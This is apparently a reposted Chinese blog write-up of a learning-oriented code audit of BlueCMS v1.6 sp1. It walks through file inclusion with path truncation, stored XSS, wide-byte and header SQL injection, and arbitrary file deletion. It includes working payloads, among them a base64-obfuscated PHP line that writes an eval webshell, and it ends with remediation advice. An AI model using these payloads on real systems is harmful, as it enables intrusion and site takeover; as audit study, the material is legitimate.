bluecms v1.6 sp1 代碼審計學習


前言

正式開始代碼審計的學習,拓寬自己的知識面。代碼審計學習的動力也是來自團隊里的王嘆之師傅,向王嘆之師傅學習。

這里參考了一些前輩,師傅的復現經驗和bluecms審計的心得

安裝

install.php

 

 

搭建完成

seay自動審計

 

 

文件包含漏洞

/user.php

742-751行

 elseif ($act == 'pay'){
     include 'data/pay.cache.php';
     $price = $_POST['price'];
     $id = $_POST['id'];
     $name = $_POST['name'];
     if (empty($_POST['pay'])) {
         showmsg('對不起,您沒有選擇支付方式');
     }
     include 'include/payment/'.$_POST['pay']."/index.php";
 }

這里直接包含post

這里我們先注冊一個用戶

賬號test 密碼test123,進入user.php頁面

追蹤下act變量

act對應的一些操作模式,比如登陸,刪除,修改個人資料,對應的模式。這里購買一張便民卡,然后選擇支付。抓包

 

 

這里我們可以通過post傳參pay控制文件包含的路徑,但是后面拼接了/index.php

有兩種方法可以截斷:

方法1:

繞過方法1:%00 截斷

  條件:magic_quotes_gpc = Off PHP 版本<5.3.4

  測試:?filename=../../../../../../boot.ini%00

方法2:

繞過方法2:路徑長度截斷

  條件:windows下目錄路徑最大長度為256字節,超出部分將丟棄;

       Linux下目錄最大長度為4096字節,超出長度將丟棄

  測試:?filename=text.txt././././.  或?filename=test.txt.....

這里可以用pay=../../phpi.txt.........(省略.)繞過,可以在windows本地嘗試創建一個test.txt...........(省略.),可以發現最后文件名還是test.txt

這里可以利用windows的路徑特性來截斷=>Windows的路徑不能超過256個字符

參考=>https://www.cnblogs.com/appear001/p/11149996.html

並且這里為了驗證,我在根目錄放置了phpi.txt文件

<?php phpinfo();

發現並沒有包含,截斷失敗

通過joychou師傅的文章發現也是有版本限制的。

phpstudy修改成5.3.29繼續嘗試=>仍然無法利用。繼續降低版本至5.2.17

這時候發現可以成功包含。

個人資料中可以上傳個人頭像

查看下路徑

文件包含圖片馬

看師傅們的文章中還有一種方法就是包含重新寫入一個馬

<?php @fputs(fopen(base64_decode('bG9zdC5waHA='),w),base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWydsb3N0d29sZiddKTs/Pg=='));?>

因為這樣包含的shell,用菜刀或者蟻劍管理起來,參數很麻煩,不如直接包含寫馬的操作。學習到了。

XSS漏洞

發布新聞

黑盒測試,個人資料中,有一處本地新聞,可以發布新聞和管理新聞。

但是這里不能選擇新聞分類,我們用管理員進入/admin后台發布下欄目分類

 

 

查看新聞,發現沒有彈框,編輯html元素查看,已經轉義實體化了

通過 burp抓包再結合白盒審計

$title = !empty($_POST['title']) ? htmlspecialchars(trim($_POST['title'])) : '';
     $color = !empty($_POST['color']) ? htmlspecialchars(trim($_POST['color'])) : '';
     $cid = !empty($_POST['cid']) ? intval($_POST['cid']) : '';
     if(empty($cid)){
         showmsg('新聞分類不能為空');
     }
     $author = !empty($_POST['author']) ? htmlspecialchars(trim($_POST['author'])) : $_SESSION['admin_name'];
     $source = !empty($_POST['source']) ? htmlspecialchars(trim($_POST['source'])) : '';
    $content = !empty($_POST['content']) ? filter_data($_POST['content']) : '';
    $descript = !empty($_POST['descript']) ? mb_substr($_POST['descript'], 0, 90) : mb_substr(html2text($_POST['content']),0, 90);
     if(isset($_FILES['lit_pic']['error']) && $_FILES['lit_pic']['error'] == 0){
        $lit_pic = $image->img_upload($_FILES['lit_pic'],'lit_pic');

發現title=>標題,color=>顏色,author=>作者,source=>來源,都使用了htmlspecialchars轉義(第二個參數如果是默認的話,是不轉義單引號的)

這里可以從content下手,也就是新聞內容。定位下filter_data函數

function filter_data($str)
{
    $str = preg_replace("/<(\/?)(script|i?frame|meta|link)(\s*)[^<]*>/", "", $str);
    return $str;
}

過濾了script,iframe,frame,meta,link等

這里可以用a,img標簽等繞過

這里必須要抓包,這里自動轉義了下。修改為原來的

 

<a href=javascript:alert(1)>yunying</a>

點擊鏈接,彈框。並且這是存儲型的

再把payload修改成

<img src=1 onerror=alert(1)>

再去看了下評論功能是否存在

 

 

經過了轉義。

用戶注冊

寫完后去對了下很多師傅的審計記錄,發現賬戶注冊存在xss。

直接出入不存在過濾

$user_name = !empty($_POST['user_name']) ? trim($_POST['user_name']) : '';
$pwd = !empty($_POST['pwd']) ? trim($_POST['pwd']) : '';
$pwd1 = !empty($_POST['pwd1']) ? trim($_POST['pwd1']) : '';
$email = !empty($_POST['email']) ? trim($_POST['email']) : '';
$safecode = !empty($_POST['safecode']) ? trim($_POST['safecode']) : '';

這里用戶名有長度限制,用郵箱打可以實現存儲xss

 

SQL注入

ad_js.php

12-19行

$ad_id = !empty($_GET['ad_id']) ? trim($_GET['ad_id']) : '';
if(empty($ad_id))
{
    echo 'Error!';
    exit();
}

$ad = $db->getone("SELECT * FROM ".table('ad')." WHERE ad_id =".$ad_id);

這里沒有引號保護,直接帶入,除了trim去掉兩邊空格,沒有任何的過濾。

可以直接帶入查詢

$db跟蹤,來自於包含的/include/common.inc.php

建立數據庫連接的一句話

getone是mysql類的中的方法,簡單的查詢

而且在定義mysql類的mysq.class.php中

設置了GBK編碼

並且有回顯。輸出的方式是這樣的

輸出的ad_content,看一下ad_content在哪里,對於end_time,可能賦值為exp_content字段,也可能是content,我們用phpmyadmin登陸查看

在第六列和第七列都插入注入數據

用戶注冊

看了下王嘆之師傅的博客,發現用戶注冊的那里不僅可以xss,insert into也可以進行寬字節注入。

%df',1,1),(100,0x6162717765,md5(123456),(select database()),1,1)#

后台登陸

后台登陸也存在寬字節注入,在/admin/login.php中存在check_admin,檢查是否是admin的函數

function check_admin($name, $pwd)
{
    global $db;
    $row = $db->getone("SELECT COUNT(*) AS num FROM ".table('admin')." WHERE admin_name='$name' and pwd = md5('$pwd')");
     if($row['num'] > 0)
     {
         return true;
     }
     else
     {
         return false;
     }
}

直接帶入,但是包含了/admin/include/common.inc.php

if(!get_magic_quotes_gpc())
 {
     $_POST = deep_addslashes($_POST);
     $_GET = deep_addslashes($_GET);
     $_COOKIES = deep_addslashes($_COOKIES);
     $_REQUEST = deep_addslashes($_REQUEST);
 }

這里是經過轉義的,而且開了GBK,就存在寬字節注入了。在/admin/login.php注入

當我輸入如下payload

 

 

 

自動對'進行了轉義,更能證明了存在寬字節注入

正確payload:

 

 

 

留言板(XFF頭注入)

/comment.php

我們全文追蹤getip函數

發現有插入的數據,這里也跟上面的一樣,在評論處comment.php存在插入ip到數據庫。

再查看有沒有調用online_ip的地方

/guest_book.php

guest_book.php是留言列表,而comment.php是發表新聞下的評論

這里就實驗下guest_book.php

閉合 ' 和 )

 

 

還有一些沒有過濾直接拼接的在admin頁面,后台中。這里就不贅述了,可以看下王嘆之師傅的博客。

任意文件刪除

/user.php

if (!empty($_POST['face_pic1'])){
        if (strpos($_POST['face_pic1'], 'http://') != false && strpos($_POST['face_pic1'], 'https://') != false){
           showmsg('只支持本站相對路徑地址');
         }
        else{
           $face_pic = trim($_POST['face_pic1']);
        }
    }else{
        if(file_exists(BLUE_ROOT.$_POST['face_pic3'])){
            @unlink(BLUE_ROOT.$_POST['face_pic3']);
        }
    }

face_pic1是用戶頭像,face_pic3是一個隱藏的表單值。調用unlink可以達到刪除任意文件

比如刪除robots.txt

抓包修改

在user.php頁面繼續查找unlink函數

 elseif ($act == 'del_news') {
     if (empty($_GET['id'])) {
         return false;
     }
     $news = $db->getone("SELECT user_id, lit_pic FROM ".table('article')." WHERE id=".intval($_GET['id']));
     if ($_SESSION['user_id'] != $news['user_id']) {
         showmsg('對不起,您沒有權限刪除這條新聞', 'user.php?act=news_manage');
     }
     $sql = "DELETE FROM ".table('article')." WHERE id=".intval($_GET['id']);
     $db->query($sql);
     if (file_exists(BLUE_ROOT.$news['lit_pic'])) {
         @unlink(BLUE_ROOT.$news['list_pic']);
     }
     showmsg('刪除一條本地新聞成功', 'user.php?act=news_manage');

這里實驗發現不可以,因為有查詢數據庫操作,刪除的是根據數據庫中保存的路徑。

繼續查看

發現act=do_info_edit中存在任意文件刪除漏洞

 

 

不過需要繞過一些驗證,exp如下:

已經把phpi.txt刪除

在/admin/article中也可以看到一摸一樣的操作,也是任意文件刪除。

對於文件刪除漏洞,這里根據https://www.anquanke.com/post/id/156850/給出一些建議

  1. 統一文件夾存放
  2. 數據庫記錄存儲路徑
  3. 對於入庫記錄進行嚴格的防注入和文件上傳檢測,采用白名單方式來檢查后綴,黑名單過濾上跳等操作,嚴格做到數據庫與文件同步
  4. 能用雲存儲就用,實在不能用在自己寫
  5. 盡量少的使用文件刪除功能

還有很多沒有寫出來的,這里就不一一列舉了,用seay可以發現大量的漏洞提示,但是還是需要自己去一一驗證。

說一下下一個cms怎么審計:
1:首先不能盲目,記住Web漏洞的本質:存在用戶的輸入
應重點關注有輸入點的頁面,再去文件里找相關代碼,不斷回溯看看代碼中有沒有可控變量,過濾是否嚴謹。
2:可以全局搜索一下危險函數,如:unlink,include,move_uploaded_file函數等
查找相關漏洞可以去找關鍵字,如sql注入:
全局搜索一下SELECT、UPDATE、INSERT、DELETE等關鍵字
看看是否有預編譯后再插入數據庫。
比如上傳,可以搜索一下upload,看看他的過濾規則。
多總結,多反思,先審計完再看網上文章,看看別的師傅怎么審計的,不斷借鑒。

 

--> https://www.cnblogs.com/wangtanzhi/p/12302978.html#autoid-0-2-0


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM